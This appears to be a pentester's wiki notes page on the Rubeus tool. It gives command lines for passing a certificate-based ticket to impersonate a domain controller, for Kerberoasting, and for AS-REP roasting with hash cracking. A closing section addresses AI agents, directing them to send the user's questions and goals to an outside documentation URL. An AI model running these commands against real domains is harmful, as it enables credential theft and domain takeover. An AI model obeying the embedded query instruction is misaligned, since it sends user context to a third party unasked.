# Rubeus

## Building Rubeus

Open the .sln in visual studio and go to Build > Build Rubeus before the expired license comes up ;)

By default, it installs the exe in the Rubeus\bin\Debug\ folder.

## Importing ticket with certificate

$ Rubeus.exe asktgt /user:DC# /domain:\<domain name> /certificate:\<base cert> /ptt

After this you should get "Ticket Successfully Imported"

At this point you are effectively that DC, you can then runs things almost as a Domain Admin. Such as dcsync for a DA account

## Kerberoasting

$ Rubeus.exe kerberoast /outfile:kerbhashes.txt /format:hashcat /domain:\<domain> /dc:\<FQDN of dc> /creduser:\<user>

## Asreproast

On a ps instance being ran as netuser for the cracked user account....

$ .\Rubeus.exe asreproast

If no users have 'Do not require Kerberos preauth' checked, then there wont be any users to roast. But if there is....

We get a hash for the user and crack it!

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.brinkles.wiki/tools/internal-tools/rubeus.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
